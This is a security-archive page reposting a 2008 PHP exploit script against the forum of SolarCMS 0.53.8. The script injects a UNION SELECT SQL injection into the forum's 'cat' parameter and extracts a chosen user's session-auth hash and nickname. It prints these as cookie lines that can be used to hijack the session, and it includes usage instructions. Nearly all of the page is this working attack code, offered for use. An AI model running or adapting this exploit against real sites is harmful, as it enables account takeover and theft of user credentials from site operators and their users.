首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
SolarCMS 0.53.8 (Forum) Remote Cookies Disclosure Exploit
来源:staker[at]hotmail[dot]it 作者:athos 发布时间:2008-12-23  
<?php

error_reporting(0);

/***************************************************************
*  ---------------------------------------------------------  *
*  SolarCMS 0.53.8 (Forum) Remote Cookies Disclosure Exploit  *
*  ---------------------------------------------------------  *
*  by athos - staker[at]hotmail[dot]it                        *
*  download on http://cms.maury91.org/                        *
*  works regardless PHP.ini settings                          *                    
*  ---------------------------------------------------------  *
***************************************************************/


list($file,$host,$path,$myid,$table) = $argv;

if($argc != 5) usage();

$cookie = (preg_match('/\^(.+?)\^/',get_cookies(),$out)) ? explode(':',$out[1]) : error();

if($path == '/')
{
      print "_nick={$cookie[1]}; path=/;\n";
      print "_sauth={$cookie[0]}; path=/;\n";
      exit;
}    
else
{
      print "/{$path}_nick={$cookie[1]}; path=/;\n";
      print "/{$path}_sauth={$cookie[0]}; path=/;\n";
      exit;
}     




function get_cookies()
{
      global $host,$path,$myid,$table;
      
      $data .= "GET {$path}/index.php?com=Forum&cat=-1+union+select+1,";
      $data .= "concat(0x5e,sauth,0x3a,nick,0x5e),3+from+{$table}+where+id={$myid}-- HTTP/1.1\r\n";
      $data .= "Host: {$host}\r\n";
      $data .= "User-Agent: Mozilla/4.5 [en] (Win95; U)\r\n";
      $data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
      $data .= "Connection: close\r\n\r\n";

     
     
      if(!$sock = fsockopen($host,80)) die("connection refused\n");
     
      fputs($sock,$data);
     
      while(!feof($sock))
      {
            $html .= fgets($sock);
      }   
     
      fclose($sock);
      return $html;
}    


      
function error()
{
      print "Exploit Failed!\n";
      print "Regards ;)\n";
      exit;
}

function usage()
{
      print "---------------------------------------------------------\n";   
      print "SolarCMS 0.53.8 (Forum) Remote Cookies Disclosure Exploit\n";
      print "---------------------------------------------------------\n";
      print "by athos - staker[at]hotmail[dot]it\n";
      print "Usage: php xpl.php [host] [path] [userid] [table]\n";
      print "php xpl.php localhost /  1 solarcms_users\n";
      exit;

}

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·CoolPlayer 2.19 (Skin File) Lo
·YourPlace <= 1.0.2 Multiple Re
·Pligg 9.9.5b (check_url.php ur
·CUPS < 1.3.8-4 (pstopdf filter
·RSS Simple News (news.php pid)
·Mozilla Firefox 3.0.5 location
·CoolPlayer 2.19 (Skin File) Lo
·Psi Jabber Client (8010/tcp) R
·Linksys Wireless ADSL Router (
·PGP Desktop 9.0.6 (PGPwded.sys
·CMS NetCat 3.12 (password_reco
·OneOrZero helpdesk 1.6.*. Remo
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved